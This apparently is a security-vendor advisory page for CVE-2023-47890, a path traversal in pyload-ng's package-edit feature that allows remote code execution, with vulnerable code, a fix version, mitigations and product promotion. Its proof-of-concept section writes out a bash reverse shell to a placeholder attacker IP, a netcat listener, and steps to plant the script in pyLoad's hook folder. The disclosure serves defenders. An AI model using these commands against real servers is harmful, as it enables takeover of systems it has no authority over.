CVE-2023-47890 is a high-severity (CVSS 7.6) Path Traversal vulnerability in pyload-ng. 1 public exploit reference exists, so weaponization risk is real. A fix is available for pyload-ng — see the affected versions and patch details below.
Download to arbitrary folder can lead to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-47890.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-47890 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev75pip install --upgrade 'pyload-ng==0.5.0b3.dev75' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev75 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-47890 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-47890 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-47890. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-47890 in your dependencies?
O3 Security finds CVE-2023-47890 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.